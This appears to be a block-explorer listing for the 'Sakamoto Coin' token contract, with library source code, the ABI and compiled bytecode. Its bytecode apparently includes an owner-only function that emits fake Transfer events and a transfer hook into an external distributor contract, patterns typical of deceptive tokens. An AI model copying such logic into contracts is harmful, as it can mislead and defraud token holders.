    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"distributor_","type":"address"},{"internalType":"address","name":"initialLPAddress_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_liquidityPools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"alreadyClaimedByAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beforeStartBuffer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentOffset","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distilleryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ended","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialLPAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"opener","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"contract IPondCoinSpawner","name":"spawner","type":"address"}],"name":"useSpawner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61012060405233600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000566200036660201b60201c565b600a6200006491906200074f565b6502ba7def3000620000779190620007a0565b6080908152506200008d6200036660201b60201c565b600a6200009b91906200074f565b6502ba7def3000620000ae9190620007a0565b60a090815250348015620000c157600080fd5b5060405162003577380380620035778339818101604052810190620000e7919062000855565b6040518060400160405280600d81526020017f53616b616d6f746f20436f696e000000000000000000000000000000000000008152506040518060400160405280600881526020017f53414b414d4f544f000000000000000000000000000000000000000000000000815250838381806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001b6620001aa6200036f60201b60201c565b6200037760201b60201c565b508360099081620001c8919062000b0c565b5082600a9081620001da919062000b0c565b50600160046000620001f16200036f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660006101000a81548160ff02191690831515021790555080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000319600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166080516200043d60201b60201c565b3373ffffffffffffffffffffffffffffffffffffffff166101008173ffffffffffffffffffffffffffffffffffffffff16815250504260c081815250504360e08181525050505062000cdf565b60006009905090565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004af576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004a69062000c54565b60405180910390fd5b620004c360008383620005ab60201b60201c565b8060076000828254620004d7919062000c76565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200058b919062000cc2565b60405180910390a3620005a760008383620005b060201b60201c565b5050565b505050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000643578086048111156200061b576200061a620005b5565b5b60018516156200062b5780820291505b80810290506200063b85620005e4565b9450620005fb565b94509492505050565b6000826200065e576001905062000731565b816200066e576000905062000731565b81600181146200068757600281146200069257620006c8565b600191505062000731565b60ff841115620006a757620006a6620005b5565b5b8360020a915084821115620006c157620006c0620005b5565b5b5062000731565b5060208310610133831016604e8410600b8410161715620007025782820a905083811115620006fc57620006fb620005b5565b5b62000731565b620007118484846001620005f1565b925090508184048111156200072b576200072a620005b5565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200075c8262000738565b9150620007698362000742565b9250620007987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200064c565b905092915050565b6000620007ad8262000738565b9150620007ba8362000738565b9250828202620007ca8162000738565b91508282048414831517620007e457620007e3620005b5565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200081d82620007f0565b9050919050565b6200082f8162000810565b81146200083b57600080fd5b50565b6000815190506200084f8162000824565b92915050565b600080604083850312156200086f576200086e620007eb565b5b60006200087f858286016200083e565b925050602062000892858286016200083e565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200091e57607f821691505b602082108103620009345762000933620008d6565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200099e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200095f565b620009aa86836200095f565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009ed620009e7620009e18462000738565b620009c2565b62000738565b9050919050565b6000819050919050565b62000a0983620009cc565b62000a2162000a1882620009f4565b8484546200096c565b825550505050565b600090565b62000a3862000a29565b62000a45818484620009fe565b505050565b5b8181101562000a6d5762000a6160008262000a2e565b60018101905062000a4b565b5050565b601f82111562000abc5762000a86816200093a565b62000a91846200094f565b8101602085101562000aa1578190505b62000ab962000ab0856200094f565b83018262000a4a565b50505b505050565b600082821c905092915050565b600062000ae16000198460080262000ac1565b1980831691505092915050565b600062000afc838362000ace565b9150826002028217905092915050565b62000b17826200089c565b67ffffffffffffffff81111562000b335762000b32620008a7565b5b62000b3f825462000905565b62000b4c82828562000a71565b600060209050601f83116001811462000b84576000841562000b6f578287015190505b62000b7b858262000aee565b86555062000beb565b601f19841662000b94866200093a565b60005b8281101562000bbe5784890151825560018201915060208501945060208101905062000b97565b8683101562000bde578489015162000bda601f89168262000ace565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c3c601f8362000bf3565b915062000c498262000c04565b602082019050919050565b6000602082019050818103600083015262000c6f8162000c2d565b9050919050565b600062000c838262000738565b915062000c908362000738565b925082820190508082111562000cab5762000caa620005b5565b5b92915050565b62000cbc8162000738565b82525050565b600060208201905062000cd9600083018462000cb1565b92915050565b60805160a05160c05160e0516101005161284c62000d2b6000396000610be60152600081816107230152610ca4015260006108bd01526000610d1401526000610a34015261284c6000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c8063564a417a1161010f578063a457c2d7116100a2578063d5abeb0111610071578063d5abeb01146105b3578063dd62ed3e146105d1578063ebad8f1614610601578063f2fde38b1461060b576101f0565b8063a457c2d714610519578063a9059cbb14610549578063b7f4e89914610579578063c2b7bbb614610597576101f0565b80638d981e36116100de5780638d981e36146104a15780638da5cb5b146104bf57806395d89b41146104dd5780639c9b4cdb146104fb576101f0565b8063564a417a1461040757806370a0823114610437578063715018a6146104675780637c70f3bf14610471576101f0565b806326ededb81161018757806342a5880c1161015657806342a5880c14610391578063486d910f146103af57806349bd5a5e146103cb5780634ed9428e146103e9576101f0565b806326ededb8146103095780632d3e69ea14610325578063313ce567146103435780633950935114610361576101f0565b806318160ddd116101c357806318160ddd1461027f57806319e995501461029d57806321f83c43146102bb57806323b872dd146102d9576101f0565b806306fdde03146101f55780630754617214610213578063095ea7b31461023157806312fa6feb14610261575b600080fd5b6101fd610627565b60405161020a9190611b29565b60405180910390f35b61021b6106b9565b6040516102289190611b8c565b60405180910390f35b61024b60048036038101906102469190611c13565b6106df565b6040516102589190611c6e565b60405180910390f35b610269610702565b6040516102769190611c6e565b60405180910390f35b610287610715565b6040516102949190611c98565b60405180910390f35b6102a561071f565b6040516102b29190611c98565b60405180910390f35b6102c3610752565b6040516102d09190611c98565b60405180910390f35b6102f360048036038101906102ee9190611cb3565b610758565b6040516103009190611c6e565b60405180910390f35b610323600480360381019061031e9190611d6b565b610787565b005b61032d610864565b60405161033a9190611c6e565b60405180910390f35b61034b61087b565b6040516103589190611de7565b60405180910390f35b61037b60048036038101906103769190611c13565b610884565b6040516103889190611c6e565b60405180910390f35b6103996108bb565b6040516103a69190611c98565b60405180910390f35b6103c960048036038101906103c49190611e40565b6108df565b005b6103d3610a0c565b6040516103e09190611b8c565b60405180910390f35b6103f1610a32565b6040516103fe9190611c98565b60405180910390f35b610421600480360381019061041c9190611e80565b610a56565b60405161042e9190611c6e565b60405180910390f35b610451600480360381019061044c9190611e80565b610a76565b60405161045e9190611c98565b60405180910390f35b61046f610abf565b005b61048b60048036038101906104869190611ee9565b610ad3565b6040516104989190611c6e565b60405180910390f35b6104a9610b02565b6040516104b69190611b8c565b60405180910390f35b6104c7610b28565b6040516104d49190611b8c565b60405180910390f35b6104e5610b52565b6040516104f29190611b29565b60405180910390f35b610503610be4565b6040516105109190611b8c565b60405180910390f35b610533600480360381019061052e9190611c13565b610c08565b6040516105409190611c6e565b60405180910390f35b610563600480360381019061055e9190611c13565b610c7f565b6040516105709190611c6e565b60405180910390f35b610581610ca2565b60405161058e9190611c98565b60405180910390f35b6105b160048036038101906105ac9190611e80565b610cc6565b005b6105bb610d12565b6040516105c89190611c98565b60405180910390f35b6105eb60048036038101906105e69190611f29565b610d36565b6040516105f89190611c98565b60405180910390f35b610609610dbd565b005b61062560048036038101906106209190611e80565b610e1e565b005b60606009805461063690611f98565b80601f016020809104026020016040519081016040528092919081815260200182805461066290611f98565b80156106af5780601f10610684576101008083540402835291602001916106af565b820191906000526020600020905b81548152906001019060200180831161069257829003601f168201915b5050505050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806106ea610ea1565b90506106f7818585610ea9565b600191505092915050565b600f60009054906101000a900460ff1681565b6000600754905090565b60007f00000000000000000000000000000000000000000000000000000000000000004361074d9190611ff8565b905090565b61070881565b600080610763610ea1565b9050610770858285611072565b61077b8585856110fe565b60019150509392505050565b61078f6117cf565b60005b8383905081101561085e578383828181106107b0576107af61202c565b5b90506020020160208101906107c59190611e80565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108439190611c98565b60405180910390a380806108569061205b565b915050610792565b50505050565b6000600660009054906101000a900460ff16905090565b60006009905090565b60008061088f610ea1565b90506108b08185856108a18589610d36565b6108ab91906120a3565b610ea9565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61090c33600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610758565b61094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612123565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b8152600401610986929190612143565b6020604051808303816000875af11580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c99190612198565b610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90612211565b60405180910390fd5b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ac76117cf565b610ad1600061184d565b565b600e6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610b6190611f98565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8d90611f98565b8015610bda5780601f10610baf57610100808354040283529160200191610bda565b820191906000526020600020905b815481529060010190602001808311610bbd57829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080610c13610ea1565b90506000610c218286610d36565b905083811015610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d906122a3565b60405180910390fd5b610c738286868403610ea9565b60019250505092915050565b600080610c8a610ea1565b9050610c978185856110fe565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b610cce6117cf565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc56117cf565b60011515600660009054906101000a900460ff16151503610e00576000600660006101000a81548160ff021916908315150217905550610e1c565b6001600660006101000a81548160ff0219169083151502179055505b565b610e266117cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8c90612335565b60405180910390fd5b610e9e8161184d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f906123c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90612459565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110659190611c98565b60405180910390a3505050565b600061107e8484610d36565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146110f857818110156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e1906124c5565b60405180910390fd5b6110f78484848403610ea9565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116490612557565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d3906125e9565b60405180910390fd5b6000811161121f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112169061267b565b60405180910390fd5b60011515600660009054906101000a900460ff16151514806112735750611244610b28565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112b05750611281610b28565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116c557600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113585750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561151657611368838383611913565b6113d4816040518060600160405280602681526020016127f160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119189092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115099190611c98565b60405180910390a36116c0565b611582816040518060600160405280602681526020016127f160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119189092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061161781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116b79190611c98565b60405180910390a35b61171c565b60011515600660009054906101000a900460ff1615151461171b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611712906126c1565b60405180910390fd5b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161177b939291906126e1565b6020604051808303816000875af115801561179a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117be9190612198565b506117ca8383836119da565b505050565b6117d7610ea1565b73ffffffffffffffffffffffffffffffffffffffff166117f56119df565b73ffffffffffffffffffffffffffffffffffffffff161461184b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184290612764565b60405180910390fd5b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000838311158290611960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119579190611b29565b60405180910390fd5b506000838561196f9190611ff8565b9050809150509392505050565b600080828461198b91906120a3565b9050838110156119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c7906127d0565b60405180910390fd5b8091505092915050565b505050565b6000806119ea6119f3565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a94565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ad3578082015181840152602081019050611ab8565b60008484015250505050565b6000601f19601f8301169050919050565b6000611afb82611a99565b611b058185611aa4565b9350611b15818560208601611ab5565b611b1e81611adf565b840191505092915050565b60006020820190508181036000830152611b438184611af0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b7682611b4b565b9050919050565b611b8681611b6b565b82525050565b6000602082019050611ba16000830184611b7d565b92915050565b600080fd5b600080fd5b611bba81611b6b565b8114611bc557600080fd5b50565b600081359050611bd781611bb1565b92915050565b6000819050919050565b611bf081611bdd565b8114611bfb57600080fd5b50565b600081359050611c0d81611be7565b92915050565b60008060408385031215611c2a57611c29611ba7565b5b6000611c3885828601611bc8565b9250506020611c4985828601611bfe565b9150509250929050565b60008115159050919050565b611c6881611c53565b82525050565b6000602082019050611c836000830184611c5f565b92915050565b611c9281611bdd565b82525050565b6000602082019050611cad6000830184611c89565b92915050565b600080600060608486031215611ccc57611ccb611ba7565b5b6000611cda86828701611bc8565b9350506020611ceb86828701611bc8565b9250506040611cfc86828701611bfe565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611d2b57611d2a611d06565b5b8235905067ffffffffffffffff811115611d4857611d47611d0b565b5b602083019150836020820283011115611d6457611d63611d10565b5b9250929050565b600080600060408486031215611d8457611d83611ba7565b5b600084013567ffffffffffffffff811115611da257611da1611bac565b5b611dae86828701611d15565b93509350506020611dc186828701611bfe565b9150509250925092565b600060ff82169050919050565b611de181611dcb565b82525050565b6000602082019050611dfc6000830184611dd8565b92915050565b6000611e0d82611b6b565b9050919050565b611e1d81611e02565b8114611e2857600080fd5b50565b600081359050611e3a81611e14565b92915050565b60008060408385031215611e5757611e56611ba7565b5b6000611e6585828601611bfe565b9250506020611e7685828601611e2b565b9150509250929050565b600060208284031215611e9657611e95611ba7565b5b6000611ea484828501611bc8565b9150509291505056